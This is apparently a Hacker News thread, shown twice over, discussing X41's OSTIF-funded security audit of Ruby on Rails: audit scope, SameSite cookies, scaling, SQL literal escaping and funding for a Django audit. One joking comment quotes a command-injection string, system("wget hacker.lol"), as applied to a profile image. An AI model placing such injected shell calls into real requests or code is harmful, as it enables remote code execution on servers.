7 ms·

Ruby on Rails Audit Complete

214 points by todsacerdoti 1y ago

ksec 1y ago
May be even better to link it to the PDF? [1]. From the Changelog I am also guessing most of these are not fixed in 8.0.2? I wonder if they will come with Rails 8.1 which is still not released. [1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final-Report-PUBLIC.pdf https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...
- technion 1y ago
  You really dont want strict same site cookies for the most part. I get that its "more secure" but as soon as someone clicks a link from somewhere else, you open it without being logged in.
sgt 1y ago
Can they please do Django?
- immibis 1y ago
  You can pay for one. Fast, cheap, good - pick two. Seems like a non-profit fund paid probably tens of thousands of dollars for this RoR audit. Can you raise the same amount to audit Django or convince a fund to spend money they already raised? If so, great!
hhthrowaway1230 1y ago
Thats good news! I'm a huge fan or Rails but a little surprised of such little vulnerabilities tbh. Would have expected more for such large codebase. But happy to hear it aint!
- maxdamantus 1y ago
  I don't think it's meant to be a complete audit of the codebase, and in fact this is alluded to in the final report [0] (though the wording is strange—perhaps they forgot to update it from an earlier report): > Due to the size of Ruby on Rails, it will not be possible to cover all the tests and tasks in the following test plan. The tests performed will be covered in the final report along with suggestions on what to focus on in future audits. I feel like these sorts of audits are usually performed on individual applications rather than "mature" already widely used frameworks. I've got the sense that they are meant to give confidence that the developers knew what they were doing (since they focus on typical vulnerabilities that good developers should know about), rather than proving anything about the code base. Still better than nothing. [0] Section 3.7, https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit-Final-Report-PUBLIC.pdf https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit...
  - hhthrowaway1230 1y ago
    Thank you for clearing this up!
- yurishimo 1y ago
  Wordpress is similar. The core project is quite battle tested, but the plugin ecosystem opens admins up to problems. With any system that allows modular code additions, the weakest attack area gets exponentially larger.
mediumsmart 1y ago
I settled for the Rails Way using a subset of the defaults. Not disappointed
- runjake 1y ago
  Elaborate on your experience?
  - mediumsmart 1y ago
    I am not a programmer and I am still working on my first rails project using AI and the guides. With that, my experience is mostly positive. I want it to be as simple as possible so not devise, no cable or actiontext or mail etc. (subset) - then I want sqlite for production since I will have max 8000 users - mostly read operations. Importmaps (takes time to get the AI to write js that passes jslint.com), plain css, deploy on apache proxy using systemd. What made me comment was that a while ago I was considering to use VIPS because I heard that its much faster and scales better. But since there was the default minimagick I stuck to that, so I was not disappointed when I read the audit. A seasoned rails developer would know how to do what I want but I only have the chatgpt which keeps trying to push me to use all these Gems so I can scale to my 2 Billion users when I go IPO... tl;dr working on my little rails site and learning is a joy.
Levitating 1y ago
> Rails application server (e.g., Puma, Unicorn) I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements. It's a minor nitpick.
BilalBudhani 1y ago
I'm glad to see efforts towards improving Ruby on Rails security, it honestly keeps the framework still the most viable choice.
ukprogrammer 1y ago
The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
- nurettin 1y ago
  The entire 2012 scene used Rails. Then they realized it was hard to scale and rewrote everything in Go.
  - rco8786 1y ago
    > Then they realized it was hard to scale A rumor perpetuated by exactly one company - Twitter. I know because I was there when it happened and helped dismantle the original monolith. Rails scales just fine for 99%+ of business cases. If you're doing a sustained 5k writes per second with bursts up to 100k...sure maybe you need something more specialized.
    - jerf 1y ago
      Rails has been around for time to change the calculus on it too. It came out in 2004. The smallest instances you can get today on AWS would have counted as fairly powerful servers back then (with insanely fast CPUs), and by the second or third smallest you're beyond anything available at the time, and there's still room to run after that. Even the slowest web frameworks running on modern hardware take some quite substantial load before they're a problem. It's good when choosing a framework to consider if you're doing stuff where that might be a problem, but it's also good not to overestimate the performance needs for your site.
    - vidarh 1y ago
      Twitter also would've scaled a lot further on Rails just by dismantling the monolith. I don'tike Rails (though I love Ruby), but the way Rails was scapegoated for an original architecture that was not suited for scale irrespective of framework or language was annoying.
      - 1y ago
deedubaya 1y ago
As with all security audits, most findings are a balance between risk and usability.
dzonga 1y ago
and yet people wanna shit at frameworks.!! by choosing something like Rails or another major popular web framework -- you have already mitigated a lot of security vulnerabilities that affect the industry. & no next.js is not a proper web framework. JS doesn't have the equivalent to rails. The web frameworks we're talking are Rails, Django, Laravel & Spring.
- runjake 1y ago
  “Equivalent to Rails” is a nebulous term, but given your examples, I’d offer these as JS equivalents of Rails: - SvelteKit - RedwoodJS - Wasp There are more options but I think they’d cause more “well, actually” comments than I could bear. :-)
  - frou_dh 1y ago
    Let's take a look at SvelteKit. Huh, it has zero to say about the database? And this is the first framework that comes to mind as equivalent to Rails? Sheer insanity
    - runjake 1y ago
      Point noted. Thanks. The JS world seems to shy away from full stack, for some reason.
ostif-derek 1y ago
Hey there everyone! Some friends just notified us that this is trending. Let me know if you have any questions/comments/feedback about the work! It was a great project, I wish we had more budget so that we could spend some time with ruzzy and the C extensions as there's probably some things to be unearthed there with ASAN and UBSAN. As for the comments on Spring/Elixir/Django/Phoenix, they're on our wish list every year but we're always limited by funding. It's about what the communities, foundations, and agencies can and will support. We are always working toward getting larger grants where we can work fully independently on whatever we want, but so far that hasn't materialized. We'll keep trying!
RKFADU_UOFCCLEL 1y ago
I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
jensenbox 1y ago
Is there a place where I can pay to fund a Django audit? I would gladly contribute.
kelseydh 1y ago
It's funny that Rails generates params for parameters passed to it for GET, HEAD and DELETE requests, even though it shouldn't. I think I've noticed this before when debugging but never thought much of it. In a poorly coded application (e.g. globally detecting params on in a `before_action`) it definitely could be become an issue.
inopinatus 1y ago
Some good recommendations. Feedback on this one: > "X41 recommends to disallow the creation of un-escaped SqlLiteral objects with user input in favor of a complete model of SQL" Rails already has a sufficient model of SQL in its Arel layer. Complete? Not exactly, because SQL is never implemented by the standard, but certainly sufficient, and very composable and extensible. Sadly the core team killed off the public documentation of Arel a few majors ago. Nevertheless I still use Arel whenever Active Record doesn't expose enough of the model, such as expressing left-open intervals as inequalities¹. Sometimes incorrectly called a "private API", but it's not anyone's private possession, Arel is just undocumented in recent releases. The recommendation's language is also just a touch naive, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby, there's no isolated sandbox. The question is what incentives are in place to stop them wanting to. Active Record already has excellent support for bound values via the predicate builder, and it's only egregiously bad code that concatenates raw user-supplied values directly into query strings. Nevertheless for those few remaining places in the API where this could happen inadvertently such as #calculate, a variant recommendation - similar in spirit, but not identical - might be that where it doesn't already, Active Record treats raw strings supplied as requiring escape unless explictly wrapped with Arel.sql(), or just accept an Arel node/AST (many already do on the QT). That is, force the developer to confess their sin in writing, or do it relationally. But IMO the wizards shouldn't keep Arel locked up in the tower, either. [1] https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9bee82f545 https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9be...
- josephg 1y ago
  > The recommendation is also a touch naive as framed, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby Sure but defaults matter. Nothing is truly private in most languages. In C/C++, you can poke raw memory. In rust you can transmute. In Java you can override the classloader and edit classes before they’re passed to the JVM and so on. But most environments have a golden path for getting things done which most developers will walk. This is exactly what removing documentation does - it signals to developers that some API isn’t part of the expected golden path. Every sql library needs ways to pass raw sql strings to the database. (Just as every browser framework needs a way to embed raw html strings). But it should require you to explicitly acknowledge you’re doing something unsafe. Rust’s unsafe keyword. React’s unsafelySetInnerHTML, and so on. It’s not about denying it. It’s about making the obvious thing safe and the unsafe thing not obvious.

214 points by todsacerdoti 1y ago

ksec 1y ago

May be even better to link it to the PDF? [1]. From the Changelog I am also guessing most of these are not fixed in 8.0.2? I wonder if they will come with Rails 8.1 which is still not released. [1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final-Report-PUBLIC.pdf https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...

technion 1y ago
You really dont want strict same site cookies for the most part. I get that its "more secure" but as soon as someone clicks a link from somewhere else, you open it without being logged in.

sgt 1y ago

Can they please do Django?

immibis 1y ago
You can pay for one. Fast, cheap, good - pick two. Seems like a non-profit fund paid probably tens of thousands of dollars for this RoR audit. Can you raise the same amount to audit Django or convince a fund to spend money they already raised? If so, great!

hhthrowaway1230 1y ago

Thats good news! I'm a huge fan or Rails but a little surprised of such little vulnerabilities tbh. Would have expected more for such large codebase. But happy to hear it aint!

maxdamantus 1y ago
I don't think it's meant to be a complete audit of the codebase, and in fact this is alluded to in the final report [0] (though the wording is strange—perhaps they forgot to update it from an earlier report): > Due to the size of Ruby on Rails, it will not be possible to cover all the tests and tasks in the following test plan. The tests performed will be covered in the final report along with suggestions on what to focus on in future audits. I feel like these sorts of audits are usually performed on individual applications rather than "mature" already widely used frameworks. I've got the sense that they are meant to give confidence that the developers knew what they were doing (since they focus on typical vulnerabilities that good developers should know about), rather than proving anything about the code base. Still better than nothing. [0] Section 3.7, https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit-Final-Report-PUBLIC.pdf https://ostif.org/wp-content/uploads/2025/06/X41-Rails-Audit...
- hhthrowaway1230 1y ago
  Thank you for clearing this up!
yurishimo 1y ago
Wordpress is similar. The core project is quite battle tested, but the plugin ecosystem opens admins up to problems. With any system that allows modular code additions, the weakest attack area gets exponentially larger.

mediumsmart 1y ago

I settled for the Rails Way using a subset of the defaults. Not disappointed

runjake 1y ago
Elaborate on your experience?
- mediumsmart 1y ago
  I am not a programmer and I am still working on my first rails project using AI and the guides. With that, my experience is mostly positive. I want it to be as simple as possible so not devise, no cable or actiontext or mail etc. (subset) - then I want sqlite for production since I will have max 8000 users - mostly read operations. Importmaps (takes time to get the AI to write js that passes jslint.com), plain css, deploy on apache proxy using systemd. What made me comment was that a while ago I was considering to use VIPS because I heard that its much faster and scales better. But since there was the default minimagick I stuck to that, so I was not disappointed when I read the audit. A seasoned rails developer would know how to do what I want but I only have the chatgpt which keeps trying to push me to use all these Gems so I can scale to my 2 Billion users when I go IPO... tl;dr working on my little rails site and learning is a joy.

Levitating 1y ago

> Rails application server (e.g., Puma, Unicorn) I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements. It's a minor nitpick.

BilalBudhani 1y ago

I'm glad to see efforts towards improving Ruby on Rails security, it honestly keeps the framework still the most viable choice.

ukprogrammer 1y ago

The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!

nurettin 1y ago
The entire 2012 scene used Rails. Then they realized it was hard to scale and rewrote everything in Go.
- rco8786 1y ago
  > Then they realized it was hard to scale A rumor perpetuated by exactly one company - Twitter. I know because I was there when it happened and helped dismantle the original monolith. Rails scales just fine for 99%+ of business cases. If you're doing a sustained 5k writes per second with bursts up to 100k...sure maybe you need something more specialized.
  - jerf 1y ago
    Rails has been around for time to change the calculus on it too. It came out in 2004. The smallest instances you can get today on AWS would have counted as fairly powerful servers back then (with insanely fast CPUs), and by the second or third smallest you're beyond anything available at the time, and there's still room to run after that. Even the slowest web frameworks running on modern hardware take some quite substantial load before they're a problem. It's good when choosing a framework to consider if you're doing stuff where that might be a problem, but it's also good not to overestimate the performance needs for your site.
  - vidarh 1y ago
    Twitter also would've scaled a lot further on Rails just by dismantling the monolith. I don'tike Rails (though I love Ruby), but the way Rails was scapegoated for an original architecture that was not suited for scale irrespective of framework or language was annoying.
    - 1y ago

deedubaya 1y ago

As with all security audits, most findings are a balance between risk and usability.

dzonga 1y ago

and yet people wanna shit at frameworks.!! by choosing something like Rails or another major popular web framework -- you have already mitigated a lot of security vulnerabilities that affect the industry. & no next.js is not a proper web framework. JS doesn't have the equivalent to rails. The web frameworks we're talking are Rails, Django, Laravel & Spring.

runjake 1y ago
“Equivalent to Rails” is a nebulous term, but given your examples, I’d offer these as JS equivalents of Rails: - SvelteKit - RedwoodJS - Wasp There are more options but I think they’d cause more “well, actually” comments than I could bear. :-)
- frou_dh 1y ago
  Let's take a look at SvelteKit. Huh, it has zero to say about the database? And this is the first framework that comes to mind as equivalent to Rails? Sheer insanity
  - runjake 1y ago
    Point noted. Thanks. The JS world seems to shy away from full stack, for some reason.

ostif-derek 1y ago

Hey there everyone! Some friends just notified us that this is trending. Let me know if you have any questions/comments/feedback about the work! It was a great project, I wish we had more budget so that we could spend some time with ruzzy and the C extensions as there's probably some things to be unearthed there with ASAN and UBSAN. As for the comments on Spring/Elixir/Django/Phoenix, they're on our wish list every year but we're always limited by funding. It's about what the communities, foundations, and agencies can and will support. We are always working toward getting larger grants where we can work fully independently on whatever we want, but so far that hasn't materialized. We'll keep trying!

RKFADU_UOFCCLEL 1y ago

I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!

jensenbox 1y ago

Is there a place where I can pay to fund a Django audit? I would gladly contribute.

kelseydh 1y ago

It's funny that Rails generates params for parameters passed to it for GET, HEAD and DELETE requests, even though it shouldn't. I think I've noticed this before when debugging but never thought much of it. In a poorly coded application (e.g. globally detecting params on in a `before_action`) it definitely could be become an issue.

inopinatus 1y ago

Some good recommendations. Feedback on this one: > "X41 recommends to disallow the creation of un-escaped SqlLiteral objects with user input in favor of a complete model of SQL" Rails already has a sufficient model of SQL in its Arel layer. Complete? Not exactly, because SQL is never implemented by the standard, but certainly sufficient, and very composable and extensible. Sadly the core team killed off the public documentation of Arel a few majors ago. Nevertheless I still use Arel whenever Active Record doesn't expose enough of the model, such as expressing left-open intervals as inequalities¹. Sometimes incorrectly called a "private API", but it's not anyone's private possession, Arel is just undocumented in recent releases. The recommendation's language is also just a touch naive, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby, there's no isolated sandbox. The question is what incentives are in place to stop them wanting to. Active Record already has excellent support for bound values via the predicate builder, and it's only egregiously bad code that concatenates raw user-supplied values directly into query strings. Nevertheless for those few remaining places in the API where this could happen inadvertently such as #calculate, a variant recommendation - similar in spirit, but not identical - might be that where it doesn't already, Active Record treats raw strings supplied as requiring escape unless explictly wrapped with Arel.sql(), or just accept an Arel node/AST (many already do on the QT). That is, force the developer to confess their sin in writing, or do it relationally. But IMO the wizards shouldn't keep Arel locked up in the tower, either. [1] https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9bee82f545 https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9be...

josephg 1y ago
> The recommendation is also a touch naive as framed, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby Sure but defaults matter. Nothing is truly private in most languages. In C/C++, you can poke raw memory. In rust you can transmute. In Java you can override the classloader and edit classes before they’re passed to the JVM and so on. But most environments have a golden path for getting things done which most developers will walk. This is exactly what removing documentation does - it signals to developers that some API isn’t part of the expected golden path. Every sql library needs ways to pass raw sql strings to the database. (Just as every browser framework needs a way to embed raw html strings). But it should require you to explicitly acknowledge you’re doing something unsafe. Rust’s unsafe keyword. React’s unsafelySetInnerHTML, and so on. It’s not about denying it. It’s about making the obvious thing safe and the unsafe thing not obvious.